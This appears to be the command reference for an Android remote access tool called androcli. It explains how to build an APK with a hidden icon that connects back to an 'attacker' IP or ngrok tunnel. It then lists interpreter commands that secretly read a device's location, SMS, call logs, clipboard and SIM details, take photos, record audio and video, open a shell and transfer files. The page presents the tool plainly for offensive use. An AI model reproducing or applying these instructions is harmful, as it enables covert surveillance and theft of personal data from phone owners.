Available Commands

Build Mode

--build --ngrok

Build APK using ngrok tunnel (over the internet)

python3 androcli.py --build --ngrok [flags]

Flags:

  • -p, --port: Attacker port number (optional, default: 8000)
  • -o, --output: Name for the apk file (optional, default: "test.apk")
  • -icon, --icon: Visible icon after installing apk (default: hidden)
--build

Build APK with custom IP and port

python3 androcli.py --build [flags]

Flags:

  • -i, --ip: Attacker IP address (required)
  • -p, --port: Attacker port number (required)
  • -o, --output: Name for the apk file (optional)
  • -icon, --icon: Visible icon after installing apk (default: hidden)

Shell Mode

--shell

Get an interactive shell of the device

python3 androcli.py --shell [flags]

Flags:

  • -i, --ip: Listener IP address
  • -p, --port: Listener port number

Interpreter Commands

Device Information
  • deviceInfo: Returns basic info of the device
  • getLocation: Return the current location of the device
  • getIP: Returns the IP of the device
  • getSimDetails: Returns the details of all SIM cards
  • getMACAddress: Returns the MAC address of the device
Media Control
  • camList: Returns camera ID
  • takepic [cameraID]: Takes picture from camera
  • startVideo [cameraID]: Starts recording the video
  • stopVideo: Stop recording the video
  • startAudio: Starts recording the audio
  • stopAudio: Stop recording the audio
Data Access
  • getSMS [inbox|sent]: Returns inbox or sent SMS
  • getCallLogs: Returns call logs
  • getClipData: Return current clipboard text
System Control
  • shell: Starts a sh shell of the device
  • vibrate [number_of_times]: Vibrate the device
  • clear: Clears the screen
  • exit: Exit the interpreter
Shell Commands
  • get [full_file_path]: Downloads file to local machine (up to 15mb)
  • put [filename]: Uploads file to the android device

Control Panel

App Control

Dial *#*#1337#*#* to access the control panel

Available Options:

  • Restart Activity
  • Uninstall

Note: Some devices require enabling "display pop-up windows running in background" from settings.